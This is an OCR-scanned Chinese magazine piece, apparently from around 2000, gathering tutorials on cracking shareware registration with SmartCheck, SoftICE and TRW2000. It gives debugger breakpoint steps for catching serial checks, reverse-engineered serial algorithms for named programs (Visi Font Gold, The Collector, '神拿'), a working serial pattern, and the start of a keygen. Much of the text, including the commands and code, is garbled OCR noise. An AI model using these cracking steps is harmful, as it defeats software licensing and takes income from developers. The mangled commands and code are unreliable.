VB 程序 的 高 效 工具 。

一 、 安 闭

SmactCheck 的 安装 很 简单 , 不 过 解压 缩 后 安装

的 目录 (比如 : c:\ 了 Program files) 下 最 好 建 一 个 文件

来。 不 然 , 它 会 很 乱 地 放 在 Program files 下 ,不 便 以 后

管理 。

二 .配置 SmartCheck

SmartCheck 的 主 界 面 非常 简单 , 每 次 用

SmartCheek 破解 一 个 软件 时 都 需要 重新 配置 , 所 以 它

的 配置 是 比较 重要 的 。

具体 步骤 如 下 :

在 菜单 项 选择 :Program-*Settings; 出 现 图 !( 如 果

你 在 SmartCheck 下 没有 打开 应 用 程序 ,只 出 现 3 个 莱

单 选 项 :Error Detection; Rrporting; Program Info. ) 。

Error Detection( 图 1): 这 里 选 上 所 有 的 选项 。

“Report error immediately”, 可 根据 情况 调整 , 选 上 后

程序 执行 有 错误 时 会 立即 出 现 报 告 , 此 时 在 弹出 的 报

告 栏 上 按 acknowledge 即 可 , 你 嫌 麻 烦 可 不 选 此 项 。 如

此 项 没 选 , 则 不 立即 报告 。 建 议 不 要 选 。

图 1

点 击 在 图 1 中 Advanced 按钮 后 出 现 图 2。

图 2

Advanced( 图 2): 选 上 前 面 的 4 项 。 注 意 要 确信

“Suppress system API and OLE cals” 没 被 选 上 。

Reporting( 图 3): 除了 “Report MouseMove events

from OCX controls” 外 其 余 全 选 上 。

图 3

三 .开始 用 SmartCheck 破解

(1) 运行 SmartCheck; 出 现 图 4 的 界面 。 这

那个 小 窗口 。

文 时 关 掉

You can 经 1ter your rexalts te 3e8 or the ty3e of

Yents 了 you re 0 in (cmder Specific Zrants.,

en the Yisw men

No sovurce file

图 5

(3) 按 55 或 选择 “Program” 下 的 “Start” 运 行程

序 , 或 工具 栏 那 个 Start 按钮 , 即 出 现 界面 如 图 5。

(4) 停止 程序 ,选择 “Program”, “End” ;或 工具 栏

的 那个 Stop 按钮 。 你 最 好 是 了 解 SmartCheck 工具 栏

的 用 法 ,这 样 可 以 大 大 方便 操作 。

四 .程序 在 SmartCheck 下 运

启 让 SODUXCE file

疙 二 过 玉 二 才 世 宇 二 天 全 让 袜 晤 守 刀 二 庆生 守 世 和 于 轴 光 旺 归 守卫 性 沁 各 和 定 生生 二

生生 丰 下 汪 丰 汪 并 下 下 证 下 全 下 十 十 汪 证 下 起 全 屋 让 注 二 下 入 站

图 6

(1) 在 SmartCheck 中 应 有 3 个 小 窗口 。 有 时 只

出 现 一 个 主 窗口 ,怎么 回 事 呢 ? 原来 其 他 两 个 (右边 和

下 边 ) 完全 最 小 化 了 , 缩 到 边 上 (右边 、 下边) 去 了 ,可

以 用 鼠标 把 它们 拖 出 来 。

(2) 主 窗 口 被 称 为 “Program Results window”。 该

窗口 在 左上 方 。

(3) 右边 的 窗口 主要 是 显示 主 窗口 的 一 些 详细 内

容 , 很 多 重要 详细 东西 都 在 此 , 你 有 可 能 看 到 的 序列

号 了 台 在 这 里 。

看 到 图 5 左下 角 的 那个 下 窗口 了 吧 , 那里 面 有 关

于 程序 运行 的 好 多 信息 可 能 对 你 有 很 大 的 帮助 :图 7

ca

六 OAD_DLL base:BFF40000 USER32.di

了 KERNEL32.di

OAD_DLL base:BFF60000

OAD_DLL base:00E70000 MSYBYM60.DLL

DLL base:58060000 SCLog .dll

礼 DAD_DLL base:58080000 SCMod dl

DLL base:580A0000 SCProi dl

OAD_DLL base:581C0000 SCSymeng.d

六 LOAD_DLL base:0C000000 SCHKEORE.DLL

FEYCRPEJnRIL hno3aoea rceoanncml-

图 7

和 , 你 应 该 分 析 SmartCheck 给 出

的 信息 ,你 必须 选 上 相关 的 行 , 并 选择 “View”,

“Show Al Events”。 这 需要 你 有 VB 的 相关 知识 ,并 了

解 各 比较 方法 和 斯 点 函数 。 鳃 计

运行 Visi Font Cold。 我 没有 完全 了 解 这 个 软件 能

做 什么 ,仅仅 知道 它 有 处 理 字体 的 功能 。 它 的 使 用 不

是 我 们 感 兴趣 的 , 它 的 保密 方法 是 : 选择 属性 一 注册

将 会 出 现 一 个 小 的 注册 框 , 输入 你 的 名 字 和 隐藏 字符

串 ( 注 册 码 ) :

名 字 :ManKind

隐藏 的 注册 码 :23199981

我 们 分 别 用 SoftIce 和 Smartcheck 破解 这 个 软件 ,

从 而 比较 出 SmartCheck 的 高 。 我 知道 这 是 一 个 VB5

的 程序 。 当 程序 比较 真 假 代码 时 , 在 VB5 中 大 多 数

(不 一 定 , 但 是 我 确信 有 相当 数量 的 软件 是 这 样 的 ) 是

用 来 比较 两 个 字符 串 的 函数 是 _ybaStrCmp( 注 意 这 里

有 两 个 下 划 线 (-.)。 然 后 我 们 进入 SoftICE ,在 那个 函数

上 设置 一 个 断 点 以 使 我 们 能 捕获 到 真正 的 隐藏 注册

码 , 如 下 :

bpx _ybsStrCmp

放下 SoftICE , 融 unlock 按钮 ,SoftICE 会 出 现在 我

们 设置 的 _yvbaStrCmp fumetion 函数 的 断 点 上 。 敲 Fl1

直到 回 到 函数 的 呼叫 ,你 将 会 得 到 下 面 的 代码 :

: 0042CAF6 CALL [VBVMS0! _ybaStrCmp ]

: 0042CAFC MOV'ESL EAX 太 你 登录 的 地 方

我 们 看 看 进行 比较 的 字符 是 否 保留 在 一 个 记录

中 ,按照 下 面 的 命令 操作 , 找 出 EDX 注册 内 容 :

d edx

在 SoftICE 数据 窗口 中 你 看 到 了 什么 ? 看 起 来 像

屏 藏 的 我 们 名 字 的 注册 号 是 宽 字 节 格 式 的 (不 要 问 我

那 是 什么 , 如 果 你 真正 想 知道 , 就 忽视 点 (. ), 然后 你

得 到 字符 串 )。 我 没有 表明 屏蔽 的 我 名 字 的 注册 号 在

这 里 , 因 为 我 认为 这 个 程序 的 作者 是 友好 的 , 这 个 软

件 仅 仅 需 要 5 美元 , 因 此 每 个 想 用 它 的 人 都 必须 注

册 , 尤其 对 那些 电脑 初学 者 。 本 文 的 主要 目的 不 是 破

坏 作 者 和 影响 他 的 收入 (或 者 是 他 家 庭 的 收入 )。

再 用 SmartCheck: 破解

如 果 你 已 经 注册 过 了 , 你 注销 这 个 程序 〈 用 注册

表 , 它 在 “My Computer\ HKCUA\ Software\ VB 和 VBA

Program Setting \Visi Font Cold 2. 0 \Font Viewer\”) 。 如

果 你 不 能 找到 它 或 者 你 对 编写 注册 表 的 值 一 无 所 知 ,

请 和 我 联系 。 我 们 可 以 把 SoftCE 放 在 一 边 , 继 续 用

SmartCheck 作为 我 们 主要 的 工具 , 因 为 在 VB 程序 里

用 SoftICE 工具 跟踪 通常 是 不 能 令 人 满意 的 。 我 用

SmartCheck 6. 01, 但 是 我 认为 6. 秋 后 的 任何 版 本 都

能 很 好 工作 。 在 完成 下 面 这 部 分 之 前 , 确信 你 为 了 破

解 已 经 正确 地 配置 了 SmartCheck。 如 果 你 不 会 配置 ,

可 以 看 看 前 面 的 指南 。

现在 我 们 开始 , 运行 SmartCheck。 在 SmartCheck

打开 visigold. exe, 进 入 主 程序 。 选 择 属性 一 , 像 第 一 部

分 那样 注册 , 输 入 名 字 : ManKind, 屏 项 代码 :

23199981。 最 后 点 击 the Unlock 按钮 。 破 解 的 错误 信

息 就 出 现 了 ,点 OK ,返回 到 SmartCheck 进入 主 程序 一

结 束 , 这 个 程序 将 被 初始 化 。 看 看 事件 , 寻找 注册 事

件 (通常 在 殴 一 个 按钮 后 , 这 个 例子 中 , Unlock 充当 的

是 那个 按钮 ,但 是 SmartCheck 并 不 把 它 作为 这 个 按钮

的 属性 而 是 用 一 个 内 部 名 字 去 代替 , 如 Commandl ) 。

你 来 这 里 看 看 (绿色 高 亮 的 是 你 的 程序 在 SmartCheck

信息 ,而 黑 字 是 注释 ):

+ _ Commandl_Click

双击 加 号 展开 它 ,将 会 有 更 多 的 显示 。

- _ Commandl_Click

Textl. Text 二 名 字 输 入 区 域

LTrim$ 全 得 到 名 字

Len returs LONG: 7 擅 得 到 名 字 的 长 度

Mid$ 人 二 得 到 名 字 的 第 一 个 字 节

Asc retums Integer: 77 全 第 一 个 字 节 的 ascii 码

Double (5929) 一 Long (5929) 二 77 炎 77 =

5929

Mid$ 二 得 到 名 字 的 第 二 个 字 节

Asc retums Integer: 97 全 第 二 个 字 节 的 ascii 码

Double (24747) 一 Long (24747) 全 (97 大 97

x 2) + 5929 = 24747

_Mid$*- 得 到 名 字 的 第 三 个 字 节

Asc retums Integer: 110 第 三 个 字 节 的 ascii

Double (61047) 一 Long (61047) 二 (110 * 110

x 3) + 24747 = 61047

Mid$ 人 得 到 第 四 个 字 节

Asc retums integer: 75 生 第 四 个 字 节 的 ascii 码

Double (83547) 一 Long (83547) 二 (75 * 75

x* 4) + 61047 = 83547

Mid$ 二 得 到 第 五 个 字 节

Asc returns Integer: 105 二 第 五 个 字 节 的 ascii

Double (138672) 一 Long (138672)

105 炎 5) + 83547 = 138672

Mid$ 全 得 到 第 六 个 字 节

Asc returms Integer: 110 全 -第 六 个 字 节 的 ascii 码

Double (211272) ->*Long (211272) 二 (110

110 类 6) + 138672 = 211272

Mid$ 全 得 到 第 七 个 字 节

Asc retums Integer: 100 二 第 七 个 字 节 的 ascii 码

Double (281272) 一 Long (281272) 全 (100 大

100 炎 7) + 211272 = 281272

Text3. Text

ELTrim 吊

LTrim 利

MsgBox returns Iteger: 1 人 熏 错误 破解 信息

Commandl_Click

我 认为 你 已 经 明白 了 , 但 是 我 仍然 要 解释 一 点 。

这 是 关于 algo 的 结论 : 字 节 的 asscii 码 必须 有 能 力 在

它 位 置 上 自己 乘 , 加 到 以 前 计算 的 值 中 去 , 改正 屏蔽

的 代码 。

你 可 能 会 问 下 面 的 问题 :

1. 为 什么 要 用 77 火 77 = 5929?

准确 地 讲 这 个 计算 式 应 该 是 77 类 77 关 1 = 5929,

二 (105 大

The Collector 是 能 有 效 维 护 你 收集 的 图 片 的 软

件 , 关 于 此 程序 的 更 多 信息 如 下 :

名 称 :The Cojlector v2. 1

下 载 位 置

tr. html

大 小 :collectr. exe =246. 047 bytes

:http: / /internet. ca 人 logic/collec-

如 果 你 能 看 到 SmartCheck 的 所 有 事件 , 你 将 看 到

_ybaPowerR8 函数 被 调用 , 是 在 “ascii 祝 的 返回 整数

值 是 77” 这 一 行 之 后 的 , 它 是 用 来 计算 一 个 数字 的 权

限 的 。

2. 怎么 能 够 知道 一 个 字 节 的 asci 码 有 能 力 在

原 位 置 自 乘 并 加 到 先前 计算 的 值 中 去 纠正 屏蔽 的 代

码 ?

因为 如 果 第 二 个 计算 的 值 减 去 先前 计算 的 值 所

得 出 的 结果 等 于 97x 97 的 两 倍 , 其 他 数值 的 计算 同

样 如 此 ,因此 我 能 够 推出 上 面 的 结论 。

现在 , 我 不 必 再 解释 algo, 我 想 你 已 经 很 明白

了 3

下 面 是 计算 部 分 的 源 代码 :

Fori = lto Len(Textl.Text) ”ii 是 一 个 数字 变

量 ,Textl. Text 指 的 是 名 字 输 入 域 的 内 容 , 循 环 直到

名 字 字 节 结 束

namel = Asc(Mid(Textl. Text,i,1)) ”得 到 一

个 名 字 的 字 节

name2 = (namel^ 2) 火 1 :main algo here(ascii

of byte power by 2 and multiplied to current position of

byte)

name3 = name3 + name2 , 计算 先前 值 的 总 数

Next i :再 循环

Text2. Text = name3 :这 里 指 的 是 你 输入 的 用 户

屏蔽 的 代码 区 域 , 显示 用 户 最 后 计算 的 结果 , 已 是 正

确 的 代码 值 。

大 家 可 以 看 到 SmartCheck 对 破解 VB 5 是 很 有 效

colleceuor V21

保护 方式 :序列 号

DLL : Uses ”VB3 dB

< 火 火 火 兴 火 火 火 火 炎 火 火 火 火 火 VB3.DH

我 发 现 解释 破解 步 又 是 很 容易 的 , 因此 我 将 把 这

个 破解 过 程 分 为 几 步 。

第 一 步 : 正确 运行 它 , 启动 后 它 将 要 求 你 输 和 人 序 .

列 号 。

第 二 步 : 输 人 一 串 虚 假 的 数字

“9876543210" 。 现 在 按 control 一 4 进入 softice, 在

softice 输入 “bpx hmemcpy” 在 hmemcpy 核心 函数 内

(hmemcpy 是 什么 ? Windows 用 hmemcpy 对 字符 串 操

作 。 在 这 个 例子 中 , 它 将 用 于 把 我 输入 的 vb dl 的 内

存 空间 的 字符 串 拷 贝 到 缓冲 恬 。 我 们 中 断 在 Windows

把 字符 串 送 入 b 旺 的 入 口 处 ? )

第 三 步 : 用 Ctr; 1 一 4 返回 到 Windows 下 , 按

“0K”, 这 将 使 Softice 在 hmemcpy 困 数 处 中 断 。

第 四 步 : 现在 我 们 将 继续 跟踪 进一步 的 hmemcpy

情况 ,找到 我 们 输入 储存 字符 串 的 地 方 。 按 住 了 10 直

到 你 看 见 这 些 :

Memory_copying_snippet

JMP 9E9%E

USH ECX

CX, 02

REPZ MOVSD

POP 了 CX

ND ECX, 03

REPZ MOVSB

XOR DX, DX

第 五 步 :在 REPZMOVSD 之 前 , 做 “edsi”, 你 将 看

见 你 输入 的 字符 串 。 在 我 的 例子 里 , 它 显示 的 是

“0987654321”。 执 行 “edes: di" 你 什么 也 不 能 看 见 ,但

是 如 果 你 按 了 10 通过 repzmovsb 这 一 行 , 你 将 看 见 字

符 串 揽 贝 到 新 的 位 置 es: di 处 ,这 就 是 由 dl 字符 虽

人 口 处 。

第 六 步 : 现在 我 们 知道 字符 串 的 位 置 。 我 们 回顾

一 下 我 们 的 策 咯 : 我 们 的 计划 是 找到 vb dll 保存 我 们

-序列 号 的 地 方 , 然后 在 此 内 存 处 设置 断 点 , 以 观察 字

符 串 比较 的 状况 。 证 我 们 设 一 个 bpr(breakpoint on

range 区 域 断 点 ) 在 我 们 字符 串 的 位 置 。 因 为 REPZ-

MOVS(D7ZB) 指令 下 移 了 di 的 指针 位 置 ( 它 现在 指 在

我 们 列 的 末尾 ) ,我 们 做 “bpr es: di 一 8es: di 一 1rw” ,在

看 第 七 步 之 前 不 要 敲 回 车 键 。

第 七 步 : 在 我 们 殴 回 车 前 , 我 将 告诉 你 你 所 期 盼

的 。Softice 将 中 断 在 字符 串 被 读 写 内 存 块 的 任何 地

方 。 例 如 ,你 中 断 在 函数 strlen 计算 字符 串 长 度 。 现 在

你 要 将 中 断 的 字符 串 从 一 个 地 方 拷贝 到 内 存 的 另外

一 个 地 方 (如 REPZMOVSW 指令 )。 它 和 字符 串 放 在 新

的 位 置 ( 一 个 新 的 断 点 区 域 )。 当 整个 字符 串 , 或 者 部

分 被 删除 时 , 它 也 会 中 断 。 如 果 整 个 字符 串 没有 得 到

完整 的 删除 ,不 能 移出 相应 的 bpre 当 完整 的 字符 串 被

其 他 东西 写 人 时 ,只 能 移出 它 。 你 在 hmemcpy 中 也 要

再 次 暂停 。Hmemcepy 将 在 这 个 dl 的 内 存 内 读 字符 串

的 另 一 个 回应 。

换 一 个 区 域 断 点 , 最 后 你 将 在 代码 的 比较 部 分 中

断 。 当 我 到 达 代码 的 那 块 地 方 时 有 4 个 断 点 设置 ,一

个 hmemcpy 的 断 点 设置 , 3 个 断 点 区 域 在 字符 串 的 反

馈 中 。

第 八 步 : 现在 我 们 发 现 了 vb3 dl 的 代码 比较 处 ,

我 们 在 这 儿 设 置 断 点 , 并 禁止 其 他 不 再 需要 的 断 点 的

调用 。 这 是 我 们 已 经 发 现 vb3 比较 的 位 置 , 能 看 到 的

是 :

The VB3_compare_snippet:

: 8BCA mov cX,dx

: 了 3A6 repz cmpsb ; < - 这 儿 是 字符 串 in

ds: si 和 es: di

: 7401 je 8CB6 ; 被 比较

: 9F lahf

: 92 Xchg ax, dx

: 8D5SFE08 lea bx,[bp+08]

: 了 80E06 call 92CB

在 指令 REPZ CMPSB 执行 前 , 你 做 “ed si 和 “ed

es: di , 你 将 看 到 字符 串 比 较 的 内 容 。 在 此 例 中 ,我 们

用 输入 的 字符 串 中 第 二 、 第 三 字 节 和 “V8 ”来 比较 ,

因此 你 重新 运行 程序 并 输入 0V87654321 将 成 功 注

册 。

第 九 步 : 我 们 仍 未 结束 ,恰恰 相反 。 我 们 现在 做 什

么 ?下 次 碰 到 VB3 程序 ,我 们 可 快速 设 断 找到 正确 的

序列 号 。 我 们 怎么 做 呢 ? 用 我 们 用 The Collector 照 做

一 次 。

1. 运行 The Collector 并 输入 一 个 假 的 序列 号 。

2. 进 Softice 在 hmemcpy 上 设置 断 点 。 敲 OK ,使

你 回 到 Softice。

3. 现在 脱 壳 , 得 到 序列 号 在 vbrun300 的 代码 中

( 敲 了 11 和 了 I0 直到 你 得 到 序列 号 )。

4. 现在 查找 :8B, CA, F3, A6, 74, 01, 9f 92, 8D,

SE, 08, 下 8, 0E, 06 ,这 是 “mov cx, dx 和 我 们 没有 看 到

的 部 分 。 观 察 s 0 1 ffffffffff 8B, CA, F3, A6, 74, 01, 9f,

92, 8D, 5E, 08, E8, 0E, 06 在 它 返 回 处 设 断 。

5. 敲 F5 你 能 进入 上 面 进行 比较 的 代码 中 。 剩 下

的 事情 就 是 检查 es; di 和 ds; si 的 指示 器 了 。 鳃

俗话 说 “万 事 开 头 难 ”,

进入 破解 界 更 是 如 此 。 这 就

需要 我 们 认真 研究 先 草 们

的 宝贵 的 破解 文献 , 从 中 掌

握 破 解 的 知识 。 但 这 些 文献

大 都 比较 深奥 ,不 一 定 适合

破解 者 入 门 之 用 。 于 是 ,我

写 下 这 篇 文章 , 希望 能 够 对

各 位 有 所 帮助 。

“ 神 拿 ”V1. 1 是 一 个 共享 软件 , 未 注册 版 本 有 时

闻 限 制 。 它 集合 了 包括 查看 “* x ”密码 、 获 取 系 统 密

码 在 内 的 几 项 功能 。

下 载 地 址 : http:/ /www.csdn. net/soft/open-

file. asp?kind = 1& id = 10365

这 次 破解 用 的 工具 是 TRW2000, 它 是 国人 刘涛

涛 制作 的 跟踪 调试 工具 , 功 能 十 分 强大 , 比 起 Soft -

ice 有 过 之 而 无 不 及 。 它 的 使 用 非常 简单 ,十 分 适合 初

级 破解 者 使 用 。 下 载 地 址 : http: // www. crackbest.

net/unlock/vdebug/trw2k123. zip

将 TR82000 的 压缩 包 解压 缩 后 , 便 会 在 硬盘 上

建立 一 个 “TRW2000” 的 文件 夹 。 进 入 该 文件 夹 , 双击

运行 tw2000. exe, 可 以 见 到 其 界面 非常 简洁 。 其 中 ,

菜单 栏 包括 了 软件 的 运行 界面 设置 、 软 件 帮 助 和 版 权

说 明 , 一 般 不 用 理会 。“Browse( 浏 览 )” 用 于 选择 破解

对 象 ,“ILoad ( 载 人 )” 则 可 以 和 运行 破解 对 象 , 下 方 的 文 ,

本 框 可 以 说 明 载 人 操作 是 否 成 功 。

OK ,开始 实战 。 用 “Browse "选择 “ 神 拿 . exe”, 按 下

“确定 ”。 这 时 ,你 可 以 到 " 神 拿 . exe "所 在 的 目录 ,双击

来 运行 它 。 不 过 , 我 习惯 于 另 一 种 做 法 , 即 按 “Load”,

不 一 会 儿 , 就 会 弹出 一 个 “D0S” 窗 口 , 一 切 的 破解 操

作 都 在 该 窗口 下 进行 。 我 们 现在 完全 不 用 理会 该 窗

口 , 按 下 "F5”, 该 窗口 马上 就 会 消失 , 神 拿 " 已 经 在 等

待 我 们 了 。 如 果 你 觉得 TRW2000 的 窗 体 很 得 眼 , 可 以

按 “OK "将 它 放 进 系统 的 托盘 区 。 点 击 “ 神 拿 " 的 “我 要

注册 ”按钮 “用 户 名 ”输入 “erack”, “注册 码 " 输 入 任意

数字 ,比如 “12345”, 然后 按 “Ctrl + N” 三 级 热 键 (或

“Ctrl+M” 一 级 热 键 , 一 、 三 级 热 键 都 可 以 在

Trw2000. ini 里 修改 ) 激 活 跟 踪 窗 口 ,输入 命令 :

bpx hmemcpy

(bpx” 就 是 下 断 点 的 意思 , 即 破 解 对 象 内 部 运行

到 该 断 点 时 ,就 会 停止 运行 ,并 激活 跟踪 窗口 。 常 见 命

念 有 “bpx hmemcpy”“bpx getwindowtext”, 具体 命令 形

式 为 :bpx address)

g

(gg 是 "去 ”的 意思 , 快捷 键 为 "FT5”, 与 “x”(Exit

Window) 有 有 异曲同工 之 妙 。)

跟踪 窗 口 消失 后 ,如 果 又 反弹 回来 ,必须 输入 :

be 大

(“bc”" 就 是 撤消 断 点 ,命令 形式 为 :bc nix )

然后 检查 是 否 有 后 台 程 序 在 运行 , 有 的 话 则 将 它

们 关 掉 ,接着 重新 操作 。

按 下 “本 地 注册 "后 ,跟踪 窗口 又 被 激活 了 。 输 入 :

be 火

pmodule

(pmodule ”就 是 进 人 程序 内 部 来 跟踪 的 意思 。)

这 时 ,让 我 们 认真 研究 该 跟踪 窗口 。 该 窗口 包括

一 个 主 窗 体 和 一 个 浮动 窗 体 , 它们 都 可 以 用 鼠标 来 移

动 , 小 窗 体 还 可 以 通过 按 其 右上 方 的 “X" 来 关 掉 。 小 窗

体 只 提供 了 地 址 (ADDRESS) 的 变换 信息 ,而 主 窗 体 则

包含 更 丰富 的 信息 。 主 窗 体 被 分 隔 条 分 成 四 块 , 各 块

都 可 以 任意 调整 大 小 。 由 上 至 下 , 第 一 块 , 提 供 了

“EAX”“EBX” 这 些 代 码 和 内 存 地 址 段 CS 等 的 变换

童 息 ; 第 二 块 , 提供 了 活动 的 “ 神 拿 ”16 进 制 源 代 码 ,

可 以 随时 修改 和 删除 ; 第 三 块 , 是 将 “ 神 拿 " 反 编译 后

的 汇编 代码 ,跟踪 行为 大 都 在 该 窗口 进行 , 并 且 跟 踪

到 的 地 方 会 被 一 个 光 条 加 亮 ; 第 四 块 , 就 是 刚才 输入

命令 的 地 方 , 最 下 方 还 提供 了 命令 的 相关 资料 。

我 们 会 看 到 光 条 在 “0043199F” 地 址 处 停 了 下

来 。 按 “T10”( 单 步 跟 踪 键 ) 跟 踪 下 去 ,出 现 如 下 代码 ;

不 过 上 面 的 代码 并 不 太 重 要 ,下 面 的 就 是 " 神 拿 ”

的 注册 码 生成 过 程 了 :

(在 这 里 下 “? AL”, 可 以 得 知 *AL” 所 代表 的 是 “e”

的 ASCII 码 “99”)

“各 位 可 以 去 看 看 。 信和

(这 里 的 代码 后 面 有 一 个 “(JUMP)”, 表示 这 里 有

一 个 跳 转 , 按 “F10” 跟 踪 下 去 , 就 会 跳 到 “0047D04”

处 。 原 来 ,是 读 出 下 一 个 字母 的 ASCI 码 、 并 且 相 加 的

操作 。 经 过 几 次 的 跳 转 之 后 “(JUMP) ”就 会 变 成 <(NO

JUMP)”。crack” 的 对 应 注册 码 就 出 来 了 ,是 516(99 +

114+97+99+107=516))

继续 跟踪 下 去 的 话 , 就 是 它 的 注册 码 比较 过 程

了 。 因 为 我 们 输入 的 是 错误 的 注册 码 , 所 以 就 会 出 现

一 个 注册 码 错 误 的 窗口 了 。

“ 神 拿 ”的 注册 码 生 成 过 程 比较 简单 , 所 以 , 我 们

可 以 写 一 个 它 的 注册 机 了 。 运 行 “Microsoft Visual Ba-

sic V6. 0” ,新 建 一 个 工程 ,在 窗 体 上 放 两 个 文本 框 ,两

个 按钮 ,用 系统 的 默认 名 称 。 代 码 如 下 (注意 ;该 代码

不 支持 中 文 用 户 名 ) :

哆 7

生 六 0

Se

此 外 ,本 人 的 主页 (http: / /www. crackcn. com ) 提

供 了 TRW2000 的 一 些 破解 文章 以 及 它 的 使 用 方法 ,

TY